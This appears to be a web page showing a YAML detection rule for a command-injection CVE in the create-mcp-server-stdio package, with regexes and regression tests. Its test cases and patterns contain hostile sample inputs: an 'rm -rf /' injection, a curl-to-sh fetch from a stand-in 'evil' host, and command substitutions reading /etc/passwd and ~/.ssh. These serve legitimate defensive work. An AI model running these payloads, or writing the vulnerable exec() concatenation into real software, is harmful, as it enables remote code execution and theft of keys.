Skip to content
ATR-2026-00577critical工具下毒experimental

Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)

GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The create-mcp-server-stdio npm package builds shell commands by concatenating MCP stdio tool parameters directly into exec(), so shell metacharacters supplied through a tool argument (; | && $() backticks) are interpreted by the shell and execute arbitrary commands on the server host (RCE).

嚴重度
critical
類別
工具下毒
掃描目標
runtime
作者
ATR Community (vulnerablemcp sync)

建議回應

alertblock tool

參考資料

OWASP Agentic
ASI02:2026ASI05:2026
OWASP LLM
LLM06:2025LLM05:2025
MITRE ATLAS
AML.T0053 - AI Agent Tool InvocationAML.T0051.001 - Indirect

偵測條件

組合方式: any
  1. 01
    Detects the create-mcp-server-stdio exec() construct that concatenates a variable into the shell command string (string + concatenation or template literal ${...} interpolation), the exact CVE-2025-54994 sink.
    欄位: content運算子: regex
  2. 02
    Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's exec() that already carries shell metacharacters (command separators, pipes, backtick or $() command substitution), indicating live injection.
    欄位: tool_input運算子: regex
  3. 03
    Detects create-mcp-server-stdio exec() carrying a classic post-injection payload (reverse shell, destructive rm, or curl|sh dropper) inside the concatenated command.
    欄位: content運算子: regex
  4. 04
    Detects SHELL COMMAND SUBSTITUTION (backtick `cmd` or $(cmd)) inside a create-mcp-server-stdio exec() call on the content channel. The other content conditions only fire on the source-code sink shape (string + concatenation or template ${...}) or on a classic post-injection payload, so a substitution payload that carries neither - e.g. exec("echo `whoami`") - was uncovered. Command substitution is required to be co-framed with the create-mcp-server-stdio marker (within 200 chars on either side of the exec sink), so ordinary shell backticks elsewhere in a document cannot fire this critical block_tool rule. Bare command separators (; && || |) are DELIBERATELY excluded here because they are common in legitimate static commands (exec("npm run build && npm test")); those forms stay covered by the tool_input condition and by the payload condition.
    欄位: content運算子: regex

攻擊範例(規則會觸發)

  1. create-mcp-server-stdio: exec("ls " + toolInput.path)
  2. const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler
  3. create-mcp-server-stdio handler => exec(`cat ${params.file}`)
  4. create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")
  5. create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)
  6. create-mcp-server-stdio: exec("echo `whoami`") from tool param
  7. exec("echo `id`") // create-mcp-server-stdio tool handler
  8. create-mcp-server-stdio handler: exec("cat `ls /etc/passwd`")
  9. MCP stdio tool call routed to exec("tar czf /tmp/x $(ls ~/.ssh)") in create-mcp-server-stdio

以上為真實攻擊 payload 的脫敏版本,與規則一同版本化,作為 regression test——確保未來的修訂不會悄悄漏掉它們。

正常樣本(規則不會觸發)

  1. legitimate scaffold/CLI usage of the package with clean args
    npx create-mcp-server-stdio my-server --transport stdio
  2. safe execFile with an argument array (the recommended fix)
    create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])
  3. spawn with arg array and shell disabled, no concatenation
    await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler
  4. patch-discussion / advisory text mentioning the package and fix
    CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.
  5. research abstract mentioning the package without an exec() concatenation sink
    Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.
  6. normal library import and instantiation, no exec sink
    import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });
  7. generic exec with a static command, unrelated to create-mcp-server-stdio
    exec("ls -la", { cwd: workdir }, callback)
  8. ordinary backtick command substitution in a script with no create-mcp-server-stdio context
    exec("echo `date`") // build timestamp in our release script
  9. documentation recommending execFile; the word backticks is prose, not a substitution inside exec()
    create-mcp-server-stdio docs: prefer execFile("git", ["log"]) over exec with backticks
  10. backtick substitution present but outside any exec() call argument
    Backticks in shell: `whoami` -- see the create-mcp-server-stdio advisory for why exec() must not interpolate.

完整 YAML 定義

在 GitHub 編輯 →
title: Command Injection in create-mcp-server-stdio via Unsafe exec() Concatenation (CVE-2025-54994)
id: ATR-2026-00577
rule_version: 2
status: experimental
description: 'GitHub Security Advisory GHSA-3ch2-jxxc-v4xf (CVE-2025-54994). The
  create-mcp-server-stdio npm package builds shell commands by concatenating MCP
  stdio tool parameters directly into exec(), so shell metacharacters supplied
  through a tool argument (; | && $() backticks) are interpreted by the shell and
  execute arbitrary commands on the server host (RCE).

  '
author: ATR Community (vulnerablemcp sync)
date: 2026/06/12
schema_version: '0.1'
detection_tier: pattern
maturity: experimental
severity: critical
references:
  owasp_llm:
  - "LLM06:2025"
  - "LLM05:2025"
  owasp_agentic:
  - "ASI02:2026"
  - "ASI05:2026"
  mitre_atlas:
  - "AML.T0053 - AI Agent Tool Invocation"
  - "AML.T0051.001 - Indirect"
  cve:
  - CVE-2025-54994
  cwe:
  - CWE-78
  ghsa:
  - GHSA-3ch2-jxxc-v4xf
  vulnerablemcp_id:
  - cve-2025-54994-command-injection-mcp-stdio
  external:
  - https://github.com/advisories/GHSA-3ch2-jxxc-v4xf
metadata_provenance:
  vulnerablemcp: vulnerablemcp-sync
  cve: vulnerablemcp-sync
  cwe: vulnerablemcp-sync
compliance:
  owasp_agentic:
    - id: ASI02:2026
      context: "OWASP Agentic ASI02:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: primary
    - id: ASI05:2026
      context: "OWASP Agentic ASI05:2026 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection of that technique."
      strength: secondary
  owasp_llm:
    - id: LLM06:2025
      context: "OWASP LLM LLM06:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: primary
    - id: LLM05:2025
      context: "OWASP LLM LLM05:2025 is exercised by command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule is a detection implementation for that category."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "EU AI Act Article 15 (accuracy, robustness and cybersecurity) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: primary
    - article: "9"
      context: "EU AI Act Article 9 (risk management system) requires controls against command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994); this rule provides runtime detection evidence for that obligation."
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: "NIST AI RMF MG.2.3 (risk treatment options selected and tracked) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - function: Measure
      subcategory: MS.2.7
      context: "NIST AI RMF MS.2.7 (security and resilience evaluated and documented) is supported by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally-provided processes) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is operationalised by this rule's detection of command injection via unsafe exec() concatenation in create-mcp-server-stdio (CVE-2025-54994)."
      strength: secondary

tags:
  category: tool-poisoning
  scan_target: runtime
  confidence: high
agent_source:
  type: mcp_exchange
  framework:
  - any
  provider:
  - any
detection:
  condition: any
  false_positives: []
  conditions:
  - field: content
    operator: regex
    value: (?i)(?:create-mcp-server-stdio[^\n]{0,200}\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)|\bexec\s*\(\s*(?:[`"'\x27][^`"'\x27\n]{0,160}[`"'\x27]\s*\+|`[^`\n]{0,160}\$\{)[^\n]{0,200}create-mcp-server-stdio)
    description: Detects the create-mcp-server-stdio exec() construct that concatenates
      a variable into the shell command string (string + concatenation or template
      literal ${...} interpolation), the exact CVE-2025-54994 sink.
  - field: tool_input
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,200}\bexec\s*\([^)\n]{0,160}(?:;\s*\S|&&\s*\S|\|\|\s*\S|\|\s*\w|`[a-z][\w/.-]*`|\$\([a-z])
    description: Detects an MCP stdio tool parameter routed into create-mcp-server-stdio's
      exec() that already carries shell metacharacters (command separators, pipes,
      backtick or $() command substitution), indicating live injection.
  - field: content
    operator: regex
    value: (?i)create-mcp-server-stdio[^\n]{0,160}(?:\bexec\s*\([^)\n]{0,120})(?:\brm\s+-rf|\bnc\s+-[a-z]*e|/bin/sh|\bbash\s+-i|\bcurl\s+[^\n|]{0,80}\|\s*(?:sh|bash)|\bwget\s+[^\n|]{0,80}\|\s*(?:sh|bash))
    description: Detects create-mcp-server-stdio exec() carrying a classic post-injection
      payload (reverse shell, destructive rm, or curl|sh dropper) inside the
      concatenated command.
  - field: content
    operator: regex
    value: (?i)(?:create-mcp-server-stdio[^\n]{0,200}\bexec\s*\([^)\n]{0,160}(?:`[a-z][^`\n]{0,80}`|\$\(\s*[a-z])|\bexec\s*\([^)\n]{0,160}(?:`[a-z][^`\n]{0,80}`|\$\(\s*[a-z])[^\n]{0,200}create-mcp-server-stdio)
    description: Detects SHELL COMMAND SUBSTITUTION (backtick `cmd` or $(cmd)) inside a
      create-mcp-server-stdio exec() call on the content channel. The other content
      conditions only fire on the source-code sink shape (string + concatenation or
      template ${...}) or on a classic post-injection payload, so a substitution
      payload that carries neither - e.g. exec("echo `whoami`") - was uncovered.
      Command substitution is required to be co-framed with the create-mcp-server-stdio
      marker (within 200 chars on either side of the exec sink), so ordinary shell
      backticks elsewhere in a document cannot fire this critical block_tool rule.
      Bare command separators (; && || |) are DELIBERATELY excluded here because they
      are common in legitimate static commands (exec("npm run build && npm test"));
      those forms stay covered by the tool_input condition and by the payload condition.
response:
  actions:
  - alert
  - block_tool
  message_template: '[ATR-2026-00577] CVE-2025-54994: create-mcp-server-stdio passes
    MCP stdio tool input into exec() with shell metacharacters, enabling arbitrary
    command execution (CWE-78 / RCE). Remediation: upgrade create-mcp-server-stdio
    to a patched release, and replace exec() with execFile()/spawn() using an
    argument array (never concatenate tool input into a shell string); validate and
    sandbox all MCP stdio server input.'
  notify:
  - security_team
confidence: 85
test_cases:
  true_positives:
  - input: 'create-mcp-server-stdio: exec("ls " + toolInput.path)'
    expected: triggered
    description: exec() concatenating a tool parameter into the shell command (the CVE sink)
  - input: 'const { stdout } = await exec("git log " + args.ref); // create-mcp-server-stdio handler'
    expected: triggered
    description: string + concatenation of MCP arg into exec within create-mcp-server-stdio
  - input: 'create-mcp-server-stdio handler => exec(`cat ${params.file}`)'
    expected: triggered
    description: template-literal interpolation of tool input into exec
  - input: 'create-mcp-server-stdio tool called with path="; rm -rf /" -> exec("ls ; rm -rf /")'
    expected: triggered
    description: live injection payload with command separator and destructive rm in exec
  - input: 'create-mcp-server-stdio exec("ping " + host) where host=$(curl http://evil/x|sh)'
    expected: triggered
    description: command substitution $() carried through create-mcp-server-stdio exec
  - input: 'create-mcp-server-stdio: exec("echo `whoami`") from tool param'
    expected: triggered
    description: backtick command substitution in create-mcp-server-stdio exec sink
  - input: 'exec("echo `id`") // create-mcp-server-stdio tool handler'
    expected: triggered
    description: backtick substitution with the create-mcp-server-stdio marker trailing the sink
  - input: 'create-mcp-server-stdio handler: exec("cat `ls /etc/passwd`")'
    expected: triggered
    description: backtick substitution whose inner command carries arguments (not a bare token)
  - input: 'MCP stdio tool call routed to exec("tar czf /tmp/x $(ls ~/.ssh)") in create-mcp-server-stdio'
    expected: triggered
    description: $() command substitution exfiltrating key material through the exec sink
  true_negatives:
  - input: 'npx create-mcp-server-stdio my-server --transport stdio'
    expected: not_triggered
    description: legitimate scaffold/CLI usage of the package with clean args
  - input: 'create-mcp-server-stdio scaffolds a stdio MCP server using execFile("git", ["log", args.ref])'
    expected: not_triggered
    description: safe execFile with an argument array (the recommended fix)
  - input: 'await spawn("ls", [userPath], { shell: false }) // create-mcp-server-stdio handler'
    expected: not_triggered
    description: spawn with arg array and shell disabled, no concatenation
  - input: 'CVE-2025-54994 was fixed in create-mcp-server-stdio by replacing exec() with spawn() and an argument array.'
    expected: not_triggered
    description: patch-discussion / advisory text mentioning the package and fix
  - input: 'Our research evaluated create-mcp-server-stdio among MCP stdio servers for unsafe command-execution patterns and shell metacharacter handling.'
    expected: not_triggered
    description: research abstract mentioning the package without an exec() concatenation sink
  - input: 'import { createServer } from "create-mcp-server-stdio"; const server = createServer({ name: "demo" });'
    expected: not_triggered
    description: normal library import and instantiation, no exec sink
  - input: 'exec("ls -la", { cwd: workdir }, callback)'
    expected: not_triggered
    description: generic exec with a static command, unrelated to create-mcp-server-stdio
  - input: 'exec("echo `date`") // build timestamp in our release script'
    expected: not_triggered
    description: ordinary backtick command substitution in a script with no create-mcp-server-stdio context
  - input: 'create-mcp-server-stdio docs: prefer execFile("git", ["log"]) over exec with backticks'
    expected: not_triggered
    description: documentation recommending execFile; the word backticks is prose, not a substitution inside exec()
  - input: 'Backticks in shell: `whoami` -- see the create-mcp-server-stdio advisory for why exec() must not interpolate.'
    expected: not_triggered
    description: backtick substitution present but outside any exec() call argument
_llm_authored:
  model: claude (gstack subagent)
  generalization_note: 'The rule generalizes beyond the literal PoC by anchoring on
    create-mcp-server-stdio together with its specific exec() concatenation sink:
    (1) string + concatenation of a variable into the shell command, (2) template
    literal ${...} interpolation, and (3) live shell metacharacters (; | && $()
    backticks) or classic post-injection payloads (reverse shell, rm -rf, curl|sh)
    appearing inside that exec() call. The create-mcp-server-stdio marker may appear
    within 200 chars on EITHER side of the exec() sink (e.g. as a leading handler
    label or a trailing handler comment), so the package context is still required
    but its position relative to the sink is not fixed. It deliberately does NOT match the JSON
    "command"/"args" config arrays (Flowise/LibreChat/litellm/mcp-stdio-config
    rules) nor the --mcp CLI flag form (PraisonAI), so the surface is unique to the
    create-mcp-server-stdio exec() concatenation construct. Safe execFile/spawn with
    argument arrays, scaffold CLI usage, library imports, and advisory/research text
    are excluded.

    rule_version 2 (content-channel command substitution): the original three
    conditions left a hole. The only condition covering backtick / $() command
    substitution declared field: tool_input, and no production event builder fills
    that field (src/hook-handler.ts emits tool_name / tool_args / content /
    tool_response; only the measurement harnesses in scripts/lib/corpus-event.ts fill
    tool_input), so on the runtime path a substitution payload with neither a
    concatenation sink nor a classic post-injection payload -- exec("echo `whoami`") --
    was undetected. A fourth condition mirrors the substitution shape onto the content
    channel, bidirectionally anchored on the create-mcp-server-stdio marker exactly
    like condition 1. Deliberate scope limit: bare command separators (; && || |) are
    NOT added to the content channel, because they appear in legitimate static commands
    (exec("npm run build && npm test")) and this rule is severity critical with
    block_tool; those forms remain covered by the tool_input condition and, when they
    carry a real payload, by the post-injection condition. Known residual FP shape,
    shared with conditions 1 and 3: hardening documentation that quotes the vulnerable
    construct verbatim next to the package name will match.'
  note: Generation-time authoring; verified by deterministic gate. Runtime detection
    is pure regex. Human review required before merge.

修訂歷史

建立於
2026-06-12
最後修改
2026-09-11
在 GitHub 查看完整 commit 歷史 →